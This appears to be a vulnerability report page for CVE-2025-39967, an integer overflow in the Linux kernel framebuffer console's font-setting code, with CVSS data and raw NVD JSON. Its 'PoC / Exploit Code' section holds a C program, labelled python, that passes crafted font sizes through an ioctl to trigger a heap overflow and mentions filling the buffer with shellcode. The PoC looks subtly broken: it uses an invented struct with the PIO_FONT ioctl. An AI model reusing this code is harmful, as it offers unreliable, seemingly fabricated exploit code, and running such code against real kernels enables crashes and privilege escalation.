Security Vulnerability Report
中文
CVE-2025-39967 CVSS 7.8 HIGH

CVE-2025-39967

Published: 2025-10-15 08:15:34
Last Modified: 2026-02-26 23:06:19
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: fbcon: fix integer overflow in fbcon_do_set_font Fix integer overflow vulnerabilities in fbcon_do_set_font() where font size calculations could overflow when handling user-controlled font parameters. The vulnerabilities occur when: 1. CALC_FONTSZ(h, pitch, charcount) performs h * pith * charcount multiplication with user-controlled values that can overflow. 2. FONT_EXTRA_WORDS * sizeof(int) + size addition can also overflow 3. This results in smaller allocations than expected, leading to buffer overflows during font data copying. Add explicit overflow checking using check_mul_overflow() and check_add_overflow() kernel helpers to safety validate all size calculations before allocation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6.17 (受影响的多个稳定版本分支)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-39967 - Linux kernel fbcon integer overflow PoC // This PoC demonstrates the integer overflow in fbcon_do_set_font() // by passing crafted font parameters to trigger the vulnerability. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/fb.h> #include <linux/kd.h> #include <errno.h> // Structure to trigger the integer overflow in CALC_FONTSZ // CALC_FONTSZ(h, pitch, charcount) = h * pitch * charcount struct fbcon_font_request { unsigned int height; // font height (h) unsigned int width; // font width unsigned int pitch; // font pitch unsigned int charcount; // number of characters unsigned char *data; // font data buffer unsigned int size; // size of data }; int main(int argc, char *argv[]) { int fb_fd, tty_fd; struct fbcon_font_request font_req; unsigned char *overflow_data; // Open framebuffer device fb_fd = open("/dev/fb0", O_RDWR); if (fb_fd < 0) { perror("[-] Failed to open /dev/fb0"); return 1; } printf("[+] Opened framebuffer device\n"); // Open tty for KD_FONT operation tty_fd = open("/dev/tty", O_RDWR); if (tty_fd < 0) { perror("[-] Failed to open /dev/tty"); close(fb_fd); return 1; } printf("[+] Opened tty device\n"); // Craft malicious font parameters to trigger integer overflow // h * pitch * charcount should overflow to a small value // Example: height=32, pitch=0x40000000, charcount=0x40 // 32 * 0x40000000 * 0x40 = 0x80000000000000 -> overflow to small value font_req.height = 32; font_req.width = 16; font_req.pitch = 0x40000000; // Large pitch value font_req.charcount = 0x40; // Character count that causes overflow // Allocate a large buffer for overflow data overflow_data = malloc(4096); if (!overflow_data) { perror("[-] malloc failed"); close(tty_fd); close(fb_fd); return 1; } // Fill with shellcode or controlled data for heap overflow memset(overflow_data, 'A', 4096); font_req.data = overflow_data; font_req.size = 4096; // Larger than the overflowed allocation printf("[*] Sending malicious font parameters...\n"); printf(" height=%u, pitch=0x%x, charcount=0x%x\n", font_req.height, font_req.pitch, font_req.charcount); printf(" CALC_FONTSZ result would overflow to small value\n"); // Trigger the vulnerability via ioctl // Note: Actual ioctl number may vary by kernel version if (ioctl(tty_fd, PIO_FONT, &font_req) < 0) { perror("[-] ioctl failed (may need root or patched kernel)"); } else { printf("[+] Font set successfully - potential overflow triggered\n"); } free(overflow_data); close(tty_fd); close(fb_fd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-39967", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-15T08:15:34.210", "lastModified": "2026-02-26T23:06:19.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfbcon: fix integer overflow in fbcon_do_set_font\n\nFix integer overflow vulnerabilities in fbcon_do_set_font() where font\nsize calculations could overflow when handling user-controlled font\nparameters.\n\nThe vulnerabilities occur when:\n1. CALC_FONTSZ(h, pitch, charcount) performs h * pith * charcount\n multiplication with user-controlled values that can overflow.\n2. FONT_EXTRA_WORDS * sizeof(int) + size addition can also overflow\n3. This results in smaller allocations than expected, leading to buffer\n overflows during font data copying.\n\nAdd explicit overflow checking using check_mul_overflow() and\ncheck_add_overflow() kernel helpers to safety validate all size\ncalculations before allocation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.235", "versionEndExcluding": "4.5", "matchCriteriaId": "0568BD06-B895-4C33-AE96-F6EA22C7AF67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.9.235", "versionEndExcluding": "4.10", "matchCriteriaId": "C5731018-BC4A-4EEC-BFBF-32326F4503AC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.14.196", "versionEndExcluding": "4.15", "matchCriteriaId": "6F6C149F-DB67-4E39-BD45-60423EB9A32B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.19.143", "versionEndExcluding": "4.20", "matchCriteriaId": "8D61C332-812B-4401-91E4-FD9D81035869"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.4.62", "versionEndExcluding": "5.4.300", "matchCriteriaId": "5314A270-4CEE-40C7-AA4C-6D63177748EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.8.6", "versionEndExcluding": "5.9", "matchCriteriaId": "D1A2FB6C-A45E-4E1B-8FE3-D0CDD7BE36C3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.9.1", "versionEndExcluding": "5.10.245", "matchCriteriaId": "079A3366-91A4-4FB6-93DE-AC6F191C2564"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.194", "matchCriteriaId": "CF862263-DC8D-4324-A52A-DA1D7880B35A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.155", "matchCriteriaId": "5F31BA8D-2902-46DD-98AF-62DC2E0B2965"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.109", "matchCriteriaId": "027853C1-2263-44B9-99B5-D9FCA8FB92EB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.50", "matchCriteriaId": "03EA453B-67BD-46D8-9AB0-39D8325C5B4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.16.10", "matchCriteriaId": "8AE7824F-9555-4B3E-B0F8-C9E279E8B81A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.9:-:*:*:*:*:*:*", "matchCriteriaId": "F79A2EB6-623E-4749-AEE0-DCB58C4C42F8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.9:rc3:*:*:*:*:*:*", "matchCriteriaId": "A52A4ABE-5C24-4CD4-A348-E303B7F23C71"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.9:rc4:*:*:*:*:*:*", "matchCriteriaId": "12019CF2-FD8E-4D59-BA4C-7093DF0BB091"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.9:rc5:*:*:*:*:*:*", "matchCriteriaId": "9B1AB90E-C0C6-4027-B27D-BA214BE33561"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.9:rc6:*:*:*:*:*:*", "matchCriteriaId": "103FE5BA-7315-4263-9C95-EABEAD7E174F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linu ... (truncated)